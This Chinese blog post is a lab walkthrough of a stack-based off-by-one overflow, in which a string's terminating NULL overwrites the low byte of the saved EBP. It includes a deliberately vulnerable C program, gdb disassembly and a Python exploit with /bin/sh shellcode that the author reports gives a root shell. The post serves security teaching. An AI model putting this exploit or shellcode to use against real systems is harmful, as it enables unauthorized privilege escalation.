Off-By-One 漏洞(基于栈)

字符串末尾的Null造成Off-By-One 漏洞

Posted by gxkyrftx on February 26, 2019

0.前言

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。 简单地说就是因为字符串最后有一个不可见字符“\n”,会对缓冲区外的栈中的数据的最后一个字节覆盖,无论其中数据为任何值,最后一个字节都将被复改为00,举个例子,如果buffer之上的数据为一个地址0xbffff022,这个漏洞将会将其覆盖为0xbffff000。

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86) 工具:gdb-peda

2.漏洞程序的成因分析

2.1 漏洞代码

一个简单的含有栈溢出漏洞的代码如下:

//vuln.c
//
#include <stdio.h>

#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
 bar(arg); 
}

void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg);
}

int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { 
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]);
 return 0;
}

漏洞代码的位置为:Bar函数中的strcpy(buf, arg)缓冲区长度为256字节,使用256字节的填充可以导致ebp的低字节被覆盖。

2.2 调试

首先编译链接源代码,使之成为可执行文件。(先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。

然后开始调试,首先发送一系列256的“A”来测试,观察EBP是否覆盖,从而可能覆盖返回地址。

1

查看程序崩溃时的状态,发现没有被成功覆盖

经过查阅资料,最终发现问题的所在。在buffer处下断点调试,结果如下:

2

发现堆栈位置是在0xbffff0f8-0xbffff1f8之间,ebp中存放的地址为0xbffff204,若要用A覆盖的话,返回的地址为0xbffff200,这个位置不再在栈中,因此没有覆盖。经过调整程序结构,加入一些其他代码,最终调整成功。

直接使用gdb查看main函数的汇编代码

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048497 <+0>: push   ebp
   0x08048498 <+1>: mov    ebp,esp
   0x0804849a <+3>: push   edi
   0x0804849b <+4>: sub    esp,0x8
   0x0804849e <+7>: mov    eax,DWORD PTR [ebp+0xc]
   0x080484a1 <+10>:    add    eax,0x4
   0x080484a4 <+13>:    mov    eax,DWORD PTR [eax]
   0x080484a6 <+15>:    mov    DWORD PTR [ebp-0x8],0xffffffff
   0x080484ad <+22>:    mov    edx,eax
   0x080484af <+24>:    mov    eax,0x0
   0x080484b4 <+29>:    mov    ecx,DWORD PTR [ebp-0x8]
   0x080484b7 <+32>:    mov    edi,edx
   0x080484b9 <+34>:    repnz scas al,BYTE PTR es:[edi]
   0x080484bb <+36>:    mov    eax,ecx
   0x080484bd <+38>:    not    eax
   0x080484bf <+40>:    sub    eax,0x1
   0x080484c2 <+43>:    cmp    eax,0x100
   0x080484c7 <+48>:    jbe    0x80484e9 <main+82>
   0x080484c9 <+50>:    mov    DWORD PTR [esp],0x80485e0
   0x080484d0 <+57>:    call   0x8048380 <puts@plt>
   0x080484d5 <+62>:    mov    eax,ds:0x804a020
   0x080484da <+67>:    mov    DWORD PTR [esp],eax
   0x080484dd <+70>:    call   0x8048360 <fflush@plt>
   0x080484e2 <+75>:    mov    eax,0xffffffff
   0x080484e7 <+80>:    jmp    0x80484fe <main+103>
   0x080484e9 <+82>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484ec <+85>:    add    eax,0x4
   0x080484ef <+88>:    mov    eax,DWORD PTR [eax]
   0x080484f1 <+90>:    mov    DWORD PTR [esp],eax
   0x080484f4 <+93>:    call   0x8048464 <foo>
   0x080484f9 <+98>:    mov    eax,0x0
   0x080484fe <+103>:   add    esp,0x8
   0x08048501 <+106>:   pop    edi
   0x08048502 <+107>:   pop    ebp
   0x08048503 <+108>:   ret    
End of assembler dump.

2.3 程序整体的栈布局大致如下

地址 栈 指针
  argv  
  argc  
  Return Address  
  调用者的ebp  
  edi  
  Stack Space  
  Stack Space  
  Return Address  
0xbffff234 Main函数的EBP  
  Stack Space  
  Return Address  
0xbffff228 Foo函数的EBP ebp
    buf_end
  …  
  …  
0xbffff208 shellcode  
0xbfffff204 Return Address  
0xbffff200 ebp  
  …  
0xbffff128   buf_start
  …  
0xbffff120   esp

3.编写exp

构造256字节的缓冲区内容 分析:buf起始0xbffff128,返回的EBP:0xbffff200,return_address:0xbfffff204,把shellcode放到起始位置为0xbffff208的内存空间。 0xbffff204H-0xbffff128H=DCH=220字节,这是第一段空间,从buf开始,到return_address之前,填充为‘A’ 4字节,这是第二段return_address 然后就开始计算,还剩多少空间,256-220-4=32字节,shellcode需要28字节,留给nop和A总共的空间只有4字节然后就开始定shellcode的位置,从205H开始放NOP。我选择208H放shellcode,中间的205H,206H,207H,放3个NOP,208放shellcode,最后只剩一个字节放一个‘A’

地址 buffer 指针
  A* 1  
0xbffff208 scode  
0xbffff205 \x90 * 3  
  ret_addr  
0xbffff128 A*220 buf_start

python代码如下:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xbffff208


def conv(num):
 return struct.pack("<I",num)
buf = "A" * 220
buf += conv(ret_addr)
buf += "\x90" * 3
buf += scode
buf += "A" * 1
print "Calling vulnerable program"
call(["./vuln", buf])

3

可以看到通过执行exp成功获取了系统的root权限。


本文访问量: 次